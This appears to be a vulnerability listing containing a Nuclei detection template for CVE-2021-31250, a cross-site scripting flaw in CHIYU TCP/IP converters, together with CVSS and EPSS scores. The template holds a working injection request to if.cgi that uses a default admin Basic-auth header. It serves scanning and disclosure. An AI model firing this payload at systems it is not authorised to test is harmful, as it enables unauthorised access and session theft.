3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.971 High
EPSS
Percentile
99.8%
CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
id: CVE-2021-31250
info:
name: CHIYU TCP/IP Converter - Cross-Site Scripting
author: geeknik
severity: medium
description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
reference:
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-31250
cwe-id: CWE-79
epss-score: 0.97029
epss-percentile: 0.9975
cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: chiyu-tech
product: bf-430_firmware
tags: cve2021,cve,chiyu,xss,iot,intrusive,chiyu-tech
http:
- method: GET
path:
- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
headers:
Authorization: Basic OmFkbWlu
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body
words:
- '"><script>alert({{randstr}})</script>'
# digest: 4a0a00473045022001068e1ddaf3c98d6733d9d17ce3ca0f27152fa717d76ce4180805b2d3cbc1e0022100f9fea88e57be3c2358133f57b3ff53d4ecb3b4469d87698b45a12f487f25d320:922c64590222798bb761d5b6d8e72950
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.971 High
EPSS
Percentile
99.8%